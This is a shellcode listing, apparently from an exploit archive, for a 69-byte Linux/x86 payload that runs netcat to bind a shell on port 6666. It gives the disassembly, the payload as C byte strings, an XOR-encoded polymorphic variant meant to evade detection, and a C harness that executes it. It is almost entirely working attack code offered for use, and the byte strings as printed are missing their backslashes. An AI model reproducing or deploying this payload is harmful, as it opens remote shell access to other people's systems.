[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Linux/x86 - netcat bindshell port 6666 - 69 bytes
# Published : 2011-04-21
# Author :
# Previous Title : 125 bind port to 6778 XOR encoded polymorphic linux shellcode .
# Next Title : Linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes
/*
** Title: Linux/x86 - netcat bindshell port 6666 - 69 bytes
** Date: 2011-04-20
** Author: Jonathan Salwan
**
** http://shell-storm.org
** http://twitter.com/jonathansalwan
**
** /usr/bin/netcat -ltp6666 -e/bin/sh
**
** 8048054 <.text>:
** 8048054: 31 c0 xor %eax,%eax
** 8048056: 50 push %eax
** 8048057: 68 74 63 61 74 push $0x74616374
** 804805c: 68 6e 2f 6e 65 push $0x656e2f6e
** 8048061: 68 72 2f 62 69 push $0x69622f72
** 8048066: 68 2f 2f 75 73 push $0x73752f2f
** 804806b: 89 e3 mov %esp,%ebx
** 804806d: 50 push %eax
** 804806e: 68 36 36 36 36 push $0x36363636
** 8048073: 68 2d 6c 74 70 push $0x70746c2d
** 8048078: 89 e2 mov %esp,%edx
** 804807a: 50 push %eax
** 804807b: 68 6e 2f 73 68 push $0x68732f6e
** 8048080: 68 2f 2f 62 69 push $0x69622f2f
** 8048085: 66 68 2d 65 pushw $0x652d
** 8048089: 89 e1 mov %esp,%ecx
** 804808b: 50 push %eax
** 804808c: 51 push %ecx
** 804808d: 52 push %edx
** 804808e: 53 push %ebx
** 804808f: 89 e6 mov %esp,%esi
** 8048091: b0 0b mov $0xb,%al
** 8048093: 89 f1 mov %esi,%ecx
** 8048095: 31 d2 xor %edx,%edx
** 8048097: cd 80 int $0x80
**
*/
#include <stdio.h>
#include <string.h>
char SC[] = "x31xc0x50x68x74x63x61x74x68x6ex2f"
"x6ex65x68x72x2fx62x69x68x2fx2fx75"
"x73x89xe3x50x68x36x36x36x36x68x2d"
"x6cx74x70x89xe2x50x68x6ex2fx73x68"
"x68x2fx2fx62x69x66x68x2dx65x89xe1"
"x50x51x52x53x89xe6xb0x0bx89xf1x31"
"xd2xcdx80";
/* SC polymorphic - XOR 19 - 93 bytes */
char SC_ENC[] = "xebx11x5ex31xc9xb1x45x80x74x0e"
"xffx13x80xe9x01x75xf6xebx05xe8"
"xeaxffxffxffx22xd3x43x7bx67x70"
"x72x67x7bx7dx3cx7dx76x7bx61x3c"
"x71x7ax7bx3cx3cx66x60x9axf0x43"
"x7bx25x25x25x25x7bx3ex7fx67x63"
"x9axf1x43x7bx7dx3cx60x7bx7bx3c"
"x3cx71x7ax75x7bx3ex76x9axf2x43"
"x42x41x40x9axf5xa3x18x9axe2x22"
"xc1xdex93";
int main(void)
{
fprintf(stdout,"Length: %dn",strlen(SC));
(*(void(*)()) SC)();
return 0;
}